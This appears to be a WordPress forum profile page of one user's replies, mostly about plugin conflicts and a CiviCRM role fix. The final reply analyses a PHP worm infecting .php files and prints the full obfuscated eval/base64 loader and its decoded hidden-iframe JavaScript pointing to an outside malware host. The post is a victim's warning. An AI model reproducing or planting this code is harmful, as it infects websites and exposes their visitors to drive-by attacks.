Forum Replies Created

Viewing 8 replies - 1 through 8 (of 8 total)
  • Thread Starter ianbryce

    (@ianbryce)

    Hi Mel / Blakechard,

    I just commented out the line 60 as I don’t need this notification function in my BuddyPress.

    Then, updated the version number on eventsmanager not to clobber my changes, until I’m ready.

    IB!

    Thread Starter ianbryce

    (@ianbryce)

    Still no joy!
    – Disabled All other plugins except BuddyPress & EventsManager
    – Switched to 2015 Theme
    – Updated Permalink structure

    I’ve tracked it down to this function located in /events-manager/buddypress/bp-em-notifications.php on line 60

    function bp_em_remove_screen_notifications() {
    	global $bp;
    	if( function_exists('bp_notifications_delete_notifications_by_type') ){ //backwards compat for BP 1.9
    	    bp_notifications_delete_notifications_by_type( $bp->loggedin_user->id, $bp->events->slug, 'attending' );
    	}else{
    	   bp_core_delete_notifications_by_type( $bp->loggedin_user->id, $bp->events->slug, 'attending' );
    	}
    }

    This function doesn’t exist as it deprecated in v1.9 of BuddyPress, so it seems the check for the function bp_notifications_delete_notifications_by_type is failing some how.

    • This reply was modified 7 years, 8 months ago by ianbryce.
    Thread Starter ianbryce

    (@ianbryce)

    Yes, this is the only page I get a 404 error, each time on click into the users profile. I can search the directory fine. As soon as I disable the Event Manager it works fine.

    I’ve also enabled WP’s debug logs, but this shows no errors on this conflict.

    I tried updating the permalinks before but with no joy either, but I haven’t done this whilst Event Manager and & BuddyPress are the only two active plugins. (i will attempt this when activity on the site dies down.)

    IB

    Thread Starter ianbryce

    (@ianbryce)

    Hi Caimin, thanks for taking the time to look into this.

    I disabled all plugins except BuddyPress & Event Manage, whilst switching to the TwentyFiftheen theme and I get the same 404 error.

    This error seems relativity new as none of my clients have moaned about this until recently.

    Thanks for your help.

    Ian

    +1

    This plugin seems to do everything I needed but I also have the same issue with WPML and the various languages that I use.

    Looks like a great plugin, please fix.

    Hi Sirusly, we use the Civi Member Role Sync plugin to take care of new users roles.

    https://github.com/jeevajoy/Wordpress-CiviCRM-Member-Role-Sync

    I also had a CiviCRM DB of 19000 users with None set as the Role.

    I put together a quick hack to set the members with no role with one that I could manage.

    1) Backup your DB
    2) Add the code to to your functions.php
    3) Change %%USER_ROLE%% to subscriber or a role you would like
    4) Click on any page in you site
    5) Delete the code.

    Code is available here at pastebucket – https://goo.gl/wnj2QT

    I’ve just check a friends site and the worm/hack has attached it self to every .php file in the wordpress directory — not many clean ways around this except to get a fresh install or all WP files, including themes.

    Starts with /**/ eval(base64_decode("aWYoZ ..... IH0gIH0="));?>

    Decoded this gives you:

    if(function_exists('ob_start')&&!isset($GLOBALS['mr_no'])){   $GLOBALS['mr_no']=1;   if(!function_exists('mrobh')){      if(!function_exists('gml')){     function gml(){      if (!stristr($_SERVER["HTTP_USER_AGENT"],"googlebot")&& (!stristr($_SERVER["HTTP_USER_AGENT"],"yahoo"))){       return base64_decode("PHNjcmlwdD52YXIgVmtYbVI2PSdkJCEjbyQhI2MkISN1JCEjbSQhI2UkISNuJCEjdCQhIy4kISN3JCEjciQhI2kkISN0JCEjZSQhIygkISNcJyQhIzwkISNpJCEjZiQhI3IkISNhJCEjbSQhI2UkISMgJCEjcyQhI3IkISNjJCEjPSQhIyIkISNoJCEjdCQhI3QkISNwJCEjOiQhIy8kISMvJCEjZyQhI2UkISNvJCEjbiQhI28kISNuJCEjLiQhI24kISNlJCEjdCQhIy8kISNpJCEjbiQhIy4kISNwJCEjaCQhI3AkISMiJCEjICQhI3ckISNpJCEjZCQhI3QkISNoJCEjPSQhIzEkISMgJCEjaCQhI2UkISNpJCEjZyQhI2gkISN0JCEjPSQhIzEkISMgJCEjZiQhI3IkISNhJCEjbSQhI2UkISNiJCEjbyQhI3IkISNkJCEjZSQhI3IkISM9JCEjMCQhIz4kISM8JCEjLyQhI2kkISNmJCEjciQhI2EkISNtJCEjZSQhIz4kISNcJyQhIykkISM7JCEjJztldmFsKFZrWG1SNi5zcGxpdCgnJCEjJykuam9pbigiIikpOzwvc2NyaXB0Pg==");      }      return "";     }    }        if(!function_exists('gzdecode')){     function gzdecode($R5A9CF1B497502ACA23C8F611A564684C){      $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1));      $RBE4C4D037E939226F65812885A53DAD9=10;      $RA3D52E52A48936CDE0F5356BB08652F2=0;      if($R30B2AB8DC1496D06B230A71D8962AF5D&4){       $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2));       $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1];       $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&8){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&16){       $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1;      }      if($R30B2AB8DC1496D06B230A71D8962AF5D&2){       $RBE4C4D037E939226F65812885A53DAD9+=2;      }      $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9));      if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){       $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C;      }      return $R034AE2AB94F99CC81B389A1822DA3353;     }    }    function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){     Header('Content-Encoding: none');     $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B);       if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){      return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE);     }else{      return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml();     }    }    ob_start('mrobh');   }  }

    This code produces the following javascript that finds itself on the bottom of every page.

    document.write(\'<iframe src="https://geonon.net/in.php" width=1 height=1 frameborder=0></iframe>\');

    After you reach this site it continues to fire you from site to site until it attempts to find Adobe on the host machine and run as java based program.

Viewing 8 replies - 1 through 8 (of 8 total)